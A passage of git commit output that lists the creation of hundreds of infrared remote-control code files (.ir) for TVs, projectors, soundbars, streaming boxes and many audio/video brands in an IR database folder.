assets/resources/infrared/Projectors/Casio/Casio_YT-130.ir create mode 100644 assets/resources/infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir create mode 100644 assets/resources/infrared/Projectors/Dragonfly/Dragonfly_Screen.ir create mode 100644 assets/resources/infrared/Projectors/Epson/Epson.ir create mode 100644 assets/resources/infrared/SoundBars/Bose/Bose_Solo_2.ir create mode 100644 assets/resources/infrared/SoundBars/Bose/Bose_Solo_5.ir create mode 100644 assets/resources/infrared/SoundBars/Bose/Bose_Soundbar.ir create mode 100644 assets/resources/infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir create mode 100644 assets/resources/infrared/SoundBars/BrandUnknown/Soundblasterx.ir create mode 100644 assets/resources/infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir create mode 100644 assets/resources/infrared/SoundBars/Samsung.ir create mode 100644 assets/resources/infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir create mode 100644 assets/resources/infrared/SoundBars/Sony/Sony_Old_XBR.ir create mode 100644 assets/resources/infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir create mode 100644 assets/resources/infrared/SoundBars/Vizio/Vizio_Soundbar.ir create mode 100644 assets/resources/infrared/SoundBars/Yamaha/Yamaha_RX.ir create mode 100644 assets/resources/infrared/Streaming Devices/Apple/Apple_TV.ir create mode 100644 assets/resources/infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir create mode 100644 assets/resources/infrared/Streaming Devices/Roku/Roku.ir create mode 100644 assets/resources/infrared/Streaming Devices/Roku/Roku2.ir create mode 100644 assets/resources/infrared/Streaming Devices/Roku/Roku_Alternate.ir create mode 100644 assets/resources/infrared/TVs/APEX LE4643T TV.ir create mode 100644 assets/resources/infrared/TVs/Hisense/Hisense_RokuTV.ir create mode 100644 assets/resources/infrared/TVs/LG/LG_C1.ir create mode 100644 assets/resources/infrared/TVs/LG_55UN7300AUD.ir create mode 100644 assets/resources/infrared/TVs/NEC/NEC.ir create mode 100644 assets/resources/infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir create mode 100644 assets/resources/infrared/TVs/Philips/Philips_32PFL4208T.ir create mode 100644 assets/resources/infrared/TVs/Samsung/Samsung.ir create mode 100644 assets/resources/infrared/TVs/Samsung/Samsung_BN59.ir create mode 100644 assets/resources/infrared/TVs/Samsung/Samsung_BN5901301A.ir create mode 100644 assets/resources/infrared/TVs/Samsung/Samsung_E6.ir create mode 100644 assets/resources/infrared/TVs/Samsung/Samsung_TV.ir create mode 100644 assets/resources/infrared/TVs/Sharp/Sharp_Roku_TV.ir create mode 100644 assets/resources/infrared/TVs/Sony/Sony_Bravia.ir create mode 100644 assets/resources/infrared/TVs/Sony/Sony_XBR.ir create mode 100644 assets/resources/infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir create mode 100644 assets/resources/infrared/TVs/Sunbrite/Sunbrite.ir create mode 100644 assets/resources/infrared/TVs/TCL/TCL_32S327.ir create mode 100644 assets/resources/infrared/TVs/TCL/TCL_UnknownModel1.ir create mode 100644 assets/resources/infrared/TVs/TCL/TCL_UnknownModel2.ir create mode 100644 assets/resources/infrared/TVs/Toshiba/Toshiba_32AV502U.ir create mode 100644 assets/resources/infrared/TVs/Vizio/Vizio.ir create mode 100644 assets/resources/infrared/TVs/Westinghouse/Westinghouse.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/3M/Projector/134,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/3M/Video Projector/134,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ABS/SAT_8776/8,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ADA/Millenium/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ADB/Set Top Box/42,17.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/AIM/RADIO/129,129.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ANITECH/TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/AOC/TV/0,189.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Acer/Projector/8,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apple/Computer/238,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Apple/iPod/238,135.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Control/Processor/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir create mode 100644 